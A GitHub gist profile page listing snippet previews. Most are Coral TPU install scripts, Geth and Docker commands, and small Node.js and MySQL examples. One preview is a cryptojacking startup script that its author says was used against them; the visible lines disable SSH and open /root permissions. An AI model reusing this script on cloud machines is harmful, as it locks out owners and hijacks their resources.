Skip to content

Instantly share code, notes, and snippets.

View dataslayermedia's full-sized avatar

Data Slayer dataslayermedia

View GitHub Profile
@dataslayermedia
dataslayermedia / Install-Coral-PCIe-Accelerator-TPU-Linux.sh
Created March 12, 2024 11:43
Install-Coral-PCIe-Accelerator-TPU-Linux
# Install curl
sudo apt-get install -y curl
# Add the Coral Edge TPU repository
echo "deb https://packages.cloud.google.com/apt coral-edgetpu-stable main" | sudo tee /etc/apt/sources.list.d/coral-edgetpu.list
# Add the Google Cloud package signing key
curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
# Update the package list
@dataslayermedia
dataslayermedia / real-time-temperature-output-coral-ai-pcie-accelerators.sh
Last active May 3, 2024 19:14
real-time-temperature-output-coral-ai-pcie-accelerators
#!/bin/bash
# Function to convert millidegree Celsius to Fahrenheit
convert_to_fahrenheit() {
local temp_milli_c=$1
# Convert millidegree Celsius to Celsius
local temp_c=$(echo "scale=4; $temp_milli_c / 1000" | bc)
# Convert Celsius to Fahrenheit
echo "scale=2; ($temp_c * 9 / 5) + 32" | bc
}
@dataslayermedia
dataslayermedia / coral-ai-pcie-edge-tpu-raspberrypi-5-setup
Last active June 10, 2024 15:38
Install Coral AI PCIe Edge TPU on Raspberry Pi 5
#!/bin/bash
cd /
sudo apt update
echo "deb https://packages.cloud.google.com/apt coral-edgetpu-stable main" | sudo tee /etc/apt/sources.list.d/coral-edgetpu.list
curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
@dataslayermedia
dataslayermedia / geth-commands.md
Last active April 4, 2024 16:02
Setting Up an Ethereum 2.0 Node via Geth on Linux // Useful Commands

Useful Commands When Downloading Geth on Linux

geth --http --miner.etherbase 0x15E57AE0eb022a2Ce9E750dF2618441a9F47d595

Print drives on machine

lsblk

Mount an external drive

mount /dev/sda1 /mount-eth2
@dataslayermedia
dataslayermedia / download-file-from-google-cloud-storage.js
Created August 7, 2021 11:54
Example Script to Download a File From Google Cloud Storage
// Imports the Google Cloud client library
const {
Storage
} = require('@google-cloud/storage');
// Creates a client
const storage = new Storage();
(async function () {
@dataslayermedia
dataslayermedia / startup_script.sh
Last active June 7, 2024 15:52
Google Cloud Platform Cryptojacking Startup Script for Compute Engine Provisioning via API
# The only reason I have this script is because it was used against me in a hack...
if [ -f "/root/start.sh" ]; then
exit 0
fi
chmod 777 /root
systemctl disable ssh.service || true
systemctl stop ssh.service || true
@dataslayermedia
dataslayermedia / gist:e7e6583724ae52c8c9a98b3f348d0c84
Created January 20, 2021 12:06
Remote Host MySQL Connections Over SSL Using PDO
MySQL Command Line to Connect Over SSL
mysql -u root -p -h 35.192.65.60 \
--ssl-ca=/home/data/server-ca.pem --ssl-cert=/home/data/client-cert.pem \
--ssl-key=/home/data/client-key.pem
@dataslayermedia
dataslayermedia / alpr-nodejs-raspberrypi.js
Created December 3, 2018 22:59
ALPR License Plate Detection for Raspberry PI written in Node.js
const PiCamera = require('pi-camera');
function getRandomInt(max) {
return Math.floor(Math.random() * Math.floor(max));
}
setInterval(function() {
var path = './' + getRandomInt(500) + '.jpg';
@dataslayermedia
dataslayermedia / docker-command-cheat-sheet.md
Last active October 13, 2018 14:00
Docker Command Cheat Sheet

Useful Docker Commands

Docker

List

List local docker images

docker images

List all containers